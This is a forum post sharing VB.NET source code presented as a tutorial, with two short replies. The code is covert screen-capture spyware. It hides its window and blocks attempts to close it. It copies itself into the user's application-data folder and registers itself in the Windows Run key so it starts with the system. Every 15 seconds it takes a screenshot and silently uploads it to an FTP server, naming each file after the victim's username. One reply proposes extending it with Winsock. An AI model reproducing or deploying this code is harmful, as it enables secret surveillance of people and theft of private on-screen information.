[codepoet]

Code

Imports System.Security.Principal

Public Class Form1
    Dim Dateiname As String
    Dim Dateilöschen As String
    Dim Pfad As String
    Dim benutzer As String
    Dim zeit As String

    Sub Autostart()
        If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe") Then
        Else
            My.Computer.FileSystem.CopyFile(System.Reflection.Assembly.GetEntryAssembly.Location, My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe")
        End If
      
        Dim oRegKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
        oRegKey.SetValue("ScreenCapture", My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe")
    
    End Sub

    Sub Bild()
        Dim Pic As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
        Dim g As Graphics = Graphics.FromImage(Pic)
        g.CopyFromScreen(0, 0, 0, 0, Pic.Size)
        PictureBox1.Image = Pic

        PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png")
        PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png", System.Drawing.Imaging.ImageFormat.Png)

        Pfad = My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png"
      
    End Sub

    Sub PCNutzer()
        Dim User As New WindowsPrincipal(WindowsIdentity.GetCurrent)
        Dim BenutzerName As String
        With User.Identity.Name
            BenutzerName = .Substring(.IndexOf("\") + 1)
        End With
        benutzer = BenutzerName
    
    End Sub

    Sub Upload()
        Try
            Dim clsRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://FTP-Server.com/" & benutzer & ".png"), System.Net.FtpWebRequest)
          
            clsRequest.Credentials = New System.Net.NetworkCredential("username", "pw")
            clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile
            Dim bFile() As Byte = System.IO.File.ReadAllBytes(Pfad)
            Dim clsStream As System.IO.Stream = clsRequest.GetRequestStream()
            clsStream.Write(bFile, 0, bFile.Length)
            clsStream.Close()
            clsStream.Dispose()
          
        Catch ex As Exception
        End Try
    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        e.Cancel = True
      
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.WindowState = FormWindowState.Minimized
        Me.Visible = False
        Autostart()
        PCNutzer()
        Bild()
        Upload()
      
        zeit = 15
      
        Dateiname = 0
      
        Dateilöschen = -1
    
        Timer1.Interval = 1000
    
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Visible = False
        zeit = zeit - 1
      
        If zeit = 0 Then
            Timer1.Stop()
            Autostart()
            Bild()
            Upload()
          
            Dateiname = Dateiname + 1
            Dateilöschen = Dateilöschen + 1
          
            zeit = 15
          
            If Dateilöschen = 0 Then
                If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png") Then
                    My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png")
                End If
              
            End If
            Timer1.Start()
          
        End If
    End Sub
End Class

originally written by: Ixam

If You Like this tutorial,
please check out my other tutorials by clicking ==> here

[maype]

Thanks For This source ;) We can use this Screen capture function Example to Make with Winsock

[codepoet]

exact response i needed....